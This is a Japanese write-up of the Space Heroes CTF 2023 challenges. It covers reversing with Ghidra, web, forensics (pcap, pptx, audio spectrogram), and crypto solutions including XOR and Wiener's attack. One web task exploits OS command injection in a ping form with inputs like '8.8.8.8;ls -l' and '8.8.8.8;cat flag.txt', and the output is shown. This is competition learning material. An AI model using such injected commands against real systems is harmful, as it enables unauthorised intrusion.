Space Heroes CTF 2023 Writeup

この大会は2023/4/22 6:00(JST)~2023/4/24 6:00(JST)に開催されました。
今回もチームで参戦。結果は2332点で507チーム中122位でした。
自分で解けた問題をWriteupとして書いておきます。

Acheron (re 250)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_28;
  char local_27;
  char local_26;
  char local_25;
  char local_24;
  char local_23;
  char local_22;
  char local_21;
  char local_20;
  char local_1f;
  char local_1e;
  char local_1d;
  char local_1c;
  char local_1b;
  char local_1a;
  char local_19;
  char local_18;
  char local_17;
  char local_16;
  char local_15;
  char local_14;
  char local_13;
  char local_12;
  char local_11;
  char local_10;
  
  puts("                .                                            .");
  puts("     *   .                  .              .        .   *          .");
  puts("  .         .                     .       .           .      .        .");
  puts("        o                             .                   .");
  puts("         .              .                  .           .");
  puts("          0     .");
  puts("                 .          .                 ,                ,    ,");
  puts(" .          \\          .                         .");
  puts("      .      \\   ,");
  puts("   .          o     .                 .                   .            .");
  puts("     .         \\                 ,             .                .");
  puts("               #\\##\\#      .                              .        .");
  puts("             #  #O##\\###                .                        .");
  puts("   .        #*#  #\\##\\###                       .                     ,");
  puts("        .   ##*#  #\\##\\##               .                     .");
  puts("      .      ##*#  #o##\\#         .                             ,       .");
  puts("          .     *#  #\\#     .                    .             .          ,");
  puts("                      \\          .                         .");
  puts("____^/\\___^--____/\\____O______________/\\/\\---/\\___________---______________");
  puts("   /\\^   ^  ^    ^                  ^^ ^  \'\\ ^          ^       ---");
  puts("         --           -            --  -      -         ---  __       ^");
  puts("   --  __                      ___--  ^  ^                         --  __");
  puts("\n\n");
  puts(
      "You are lost on a hostile alien planet. You gotta navigate your way back to your ship! (Accep table input is N, S, E, W):"
      );
  fgets(&local_28,0x1a,stdin);
  if (local_28 == 'N') {
    if (local_27 == 'E') {
      if (local_26 == 'N') {
        if (local_25 == 'W') {
          if (local_24 == 'S') {
            if (local_23 == 'S') {
              if (local_22 == 'E') {
                if (local_21 == 'W') {
                  if (local_20 == 'S') {
                    if (local_1f == 'N') {
                      if (local_1e == 'E') {
                        if (local_1d == 'N') {
                          if (local_1c == 'S') {
                            if (local_1b == 'S') {
                              if (local_1a == 'W') {
                                if (local_19 == 'E') {
                                  if (local_18 == 'E') {
                                    if (local_17 == 'N') {
                                      if (local_16 == 'W') {
                                        if (local_15 == 'S') {
                                          if (local_14 == 'N') {
                                            if (local_13 == 'N') {
                                              if (local_12 == 'E') {
                                                if (local_11 == 'S') {
                                                  if (local_10 == 'S') {
                                                    success();
                                                  }
                                                }
                                                else {
                                                  rip();
                                                }
                                              }
                                              else {
                                                rip();
                                              }
                                            }
                                            else {
                                              rip();
                                            }
                                          }
                                          else {
                                            rip();
                                          }
                                        }
                                        else {
                                          rip();
                                        }
                                      }
                                      else {
                                        rip();
                                      }
                                    }
                                    else {
                                      rip();
                                    }
                                  }
                                  else {
                                    rip();
                                  }
                                }
                                else {
                                  rip();
                                }
                              }
                              else {
                                rip();
                              }
                            }
                            else {
                              rip();
                            }
                          }
                          else {
                            rip();
                          }
                        }
                        else {
                          rip();
                        }
                      }
                      else {
                        rip();
                      }
                    }
                    else {
                      rip();
                    }
                  }
                  else {
                    rip();
                  }
                }
                else {
                  rip();
                }
              }
              else {
                rip();
              }
            }
            else {
              rip();
            }
          }
          else {
            rip();
          }
        }
        else {
          rip();
        }
      }
      else {
        rip();
      }
    }
    else {
      rip();
    }
  }
  else {
    rip();
  }
  return 0;
}

void success(void)

{
  puts(
      "You made it back to your ship successfully, you feel a weird sensation in your chest however. .. "
      );
  system("cat flag.txt");
  return;
}

条件を満たすために"NENWSSEWSNENSSWEENWSNNESS"を答えればよい。

#!/usr/bin/env python3
from pwn import *

p = remote("spaceheroes-acheron.chals.io", 443, ssl=True,
    sni="spaceheroes-acheron.chals.io")

ans = 'NENWSSEWSNENSSWEENWSNNESS'
data = p.recvuntil(b':').decode()
print(data + ans)
p.sendline(ans.encode())
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to spaceheroes-acheron.chals.io on port 443: Done
                .                                            .
     *   .                  .              .        .   *          .
  .         .                     .       .           .      .        .
        o                             .                   .
         .              .                  .           .
          0     .
                 .          .                 ,                ,    ,
 .          \          .                         .
      .      \   ,
   .          o     .                 .                   .            .
     .         \                 ,             .                .
               #\##\#      .                              .        .
             #  #O##\###                .                        .
   .        #*#  #\##\###                       .                     ,
        .   ##*#  #\##\##               .                     .
      .      ##*#  #o##\#         .                             ,       .
          .     *#  #\#     .                    .             .          ,
                      \          .                         .
____^/\___^--____/\____O______________/\/\---/\___________---______________
   /\^   ^  ^    ^                  ^^ ^  '\ ^          ^       ---
         --           -            --  -      -         ---  __       ^
   --  __                      ___--  ^  ^                         --  __



You are lost on a hostile alien planet. You gotta navigate your way back to your ship! (Acceptable input is N, S, E, W):NENWSSEWSNENSSWEENWSNNESS

You made it back to your ship successfully, you feel a weird sensation in your chest however...
shctf{gam3_0v3r_m@n_game_0ver}
[*] Closed connection to spaceheroes-acheron.chals.io port 443
shctf{gam3_0v3r_m@n_game_0ver}

Sanity Check In Space (web)

http://scis.hackers.best:31337/robots.txtにアクセスしたら、以下のように表示された。

Welcome to page two of Sanity Check in space, here's some robots.txt stuff. User-agent: * Disallow: humans.txt/

http://scis.hackers.best:31337/humans.txtにアクセスしたら、以下のように表示された。

Welcome fellow human to page three of Sanity Check in space! You look pretty human, but we have to be sure. Go eat something and come back here.

クッキーを見たら、"human"キーにfalseが設定されていたので、trueに設定する。リロードすると、以下のように表示された。

Wow, you really are human, celebrate with us by visiting arrakis

http://scis.hackers.best:31337/arrakisにアクセスすると、パスワード入力画面になる。HTMLソースを見ると、以下のコメントがあった。

<!-- The password is "FearIsTheMindKiller" -->

このパスワードを入力すると、以下のメッセージが表示された。

Excellent job, one ultimate challenge awaits you, on krypton

http://scis.hackers.best:31337/kryptonにアクセスする。入力した値にpingをする画面になっている。OSコマンドインジェクションで攻撃できると推測し、以下を入れてみる。

8.8.8.8;ls -l

結果は以下の通り。

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=1.56 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.564/1.564/1.564/0.000 ms
total 24
-rw-r--r-- 1 root root  283 Apr 20 02:06 Dockerfile
drwxr-xr-x 2 root root 4096 Apr 20 02:06 __pycache__
-rw-r--r-- 1 root root 2442 Apr 20 02:06 app.py
-rw-r--r-- 1 root root   34 Apr 20 02:06 flag.txt
drwxr-xr-x 2 root root 4096 Apr 20 02:06 static
drwxr-xr-x 2 root root 4096 Apr 20 02:06 templates

次に以下を入れてみる。

8.8.8.8;cat flag.txt

結果は以下の通りで、フラグが得られた。

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=1.07 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.072/1.072/1.072/0.000 ms
shctf{exp01ting_w3bs1tes_1N_SP@C3}
shctf{exp01ting_w3bs1tes_1N_SP@C3}

Time Leap (forensics)

FTK Imagerで開くと、[root]直下に削除フラグの付いたflag.gifがあった。そのflag.gifの画像にフラグが書いてあった。

shctf{th1s_i5_the_wi11_0f_St3in5_G4te}

A New Hope (forensics)

pptxファイルをzip解凍する。\ppt\media\image1.pngの中身はほぼjpgで、先頭2バイトだけ壊れているので、修復する。修復した画像にフラグが書いてあった。

shctf{help_m3_ob1_y0u're_my_0n1y_hope}

Félicette (forensics)

icmpの通信が何回も行われており、パケットごとに1バイトだけデータが送信されている。結合するとjpgファイルになりそうなので、結合してみる。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('chall.jpg.pcap')

flag = b''
for p in packets:
    flag += p[Raw].load

with open('flag.jpg', 'wb') as f:
    f.write(flag)


結合して生成した画像にフラグが書いてあった。

shctf{look_at_da_kitty}

My God, it's full of .- ... -.-. .. .. (forensics)

Audacityで開き、スペクトログラムを見ると、短い線と長い線を8個の組が何個もある。短い線を0、長い線を1としてデコードすれば良さそうなので、まずは0, 1で書き出す。

01110011 01101000 01100011 01110100 01100110 01111011 01001110 00110000 00100000 00110001 00100000 01100011 00110100 01101110 00100000 01001000 00110011 00110100 01110010 00100000 01110101 00100000 00111000 00110011 00110011 01010000 01011111 00111000 00110000 00110000 01110000 00101000 01001001 01101110 00101001 00100000 00111100 00100000 00101111 01100100 01100101 01110110 00101111 01101110 01110101 01101100 01101100 01110011 01110000 01100001 01100011 01100101 01111101
>>> s = '01110011 01101000 01100011 01110100 01100110 01111011 01001110 00110000 00100000 00110001 00100000 01100011 00110100 01101110 00100000 01001000 00110011 00110100 01110010 00100000 01110101 00100000 00111000 00110011 00110011 01010000 01011111 00111000 00110000 00110000 01110000 00101000 01001001 01101110 00101001 00100000 00111100 00100000 00101111 01100100 01100101 01110110 00101111 01101110 01110101 01101100 01101100 01110011 01110000 01100001 01100011 01100101 01111101'.split(' ')
>>> ''.join([chr(int(c, 2)) for c in s])
'shctf{N0 1 c4n H34r u 833P_800p(In) < /dev/nullspace}'
shctf{N0 1 c4n H34r u 833P_800p(In) < /dev/nullspace}

Bynary Encoding (crypto)

1行ごとにスペースまたはタブの数が8個ある。スペースを0、タブを1としてデコードする。

#!/usr/bin/env python3
with open('transmission.txt', 'r') as f:
    lines = f.read().splitlines()

flag = ''
for line in lines:
    code = line.replace(' ', '0').replace('\t', '1')
    flag += chr(int(code, 2))
print(flag)
shctf{a_bl1nd_m4n_t3aching_an_4ndr0id_h0w_to_pa1nt}

Welcome to the World of Tomorrow (crypto)

Alien WordleはAlien languageで書かれているので、https://theinfosphere.org/Alien_languagesを参照し、アルファベットに置換する。さらにWordleの色から以下のことがわかる。

・STAR??S? という構成
・?のどこかにDがある。

このワードは"STARDUST"であると推測する。暗号文はVigenere暗号でこのワードをキーにして暗号化したものと推測し、https://www.dcode.fr/vigenere-cipherで復号する。

byt3_my_sh1ny_metal_f1ag
shctf{byt3_my_sh1ny_metal_f1ag}

I've got the same combination on my luggage! (crypto)

A = xor(p, k1, k2)
B = xor(p, k1)
C = xor(p, k2)

この式から以下のことが言える。

xor(B, C) = xor(k1, k2)
p = xor(xor(p, k1, k2), xor(k1, k2))
  = xor(A, B, C)

これを元にplaintextを復号する。

#!/usr/bin/env python3
from pwn import *

with open('hash.txt', 'r') as f:
    ct = bytes.fromhex(f.read().rstrip())

usize = len(ct) // 3
A = ct[:usize]
B = ct[usize:usize*2]
C = ct[usize*2:]

flag = xor(A, B, C).decode()
print(flag)
shctf{on3_e1GHt_hUnDR3d_D-R-U-I-D-I-A__}

Rick Sanchez Algorithm (crypto)

eが非常に大きいので、Wiener's Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from fractions import Fraction
from base64 import b64decode

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n // e))
        N = n
        n = e
        e = N % e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calcKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phin = (e * d - 1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

C = 9763756615749453697711832780290994218209540404092892743938023440562066399337084806157794233931635560977303517688862942257802526956879788034993931726625296410536964617856623732243706473693892876612392958249751369450647924807557768944650776039737608599803384984393221357912052309688764443108728369555676864557154290341642297847267177703428571478156111473165047499325994426058207523594208311563026561922495973859252628019530188566290941667031627386907620019898570109210940914849323148182914949910332546487694304519512036993844651268173759652768515378113523432311285558813699594606327838489283405761035709838557940909309
n = 25886873815836479531102333881328256781823746377127140122698729076485535125711666889354560018621629598913480717734088432525491694576333336789245603514248141818159233105461757115009985693551920113198731562587185893937220809465123357884500614412967739550998756643760039322502299417470414994227318221114452157902944737622386655242568227060393806757218477070728859359570853449231546318892600962043047963934362830601068072327572283570635649379318478675132647932890596210095121862798891396418206480147312633875596896359215713337014482857089996281525920299938916154923799963866283612072794046640286442045137533183412128422223
e = 3412227947038934182478852627564512970725877639428828744897413324202816073614248101081376540697482845313507125163089428254245096018283445899452858022211718628390653483026409446914537083191082941622293729786517851124468666633780447090080209520381218492938112166177839174421554838099214223129604698311531540363994640048732628930103674878115331383263452987483186144997440066159073515630319057855626746004248806849195662788941903776396118558065192757367266853647652706247900976106843337363721026272734784391404675859060134421742669727121306927682580867089725963848606261214171291213498225968719857795306299660931604391979

p, q = wiener(n, e)

flag = decrypt(p, q, e, C).decode()
print(flag)
shctf{1_w4n7_thA7_mCnu99E7_5auc3_M0R7Y}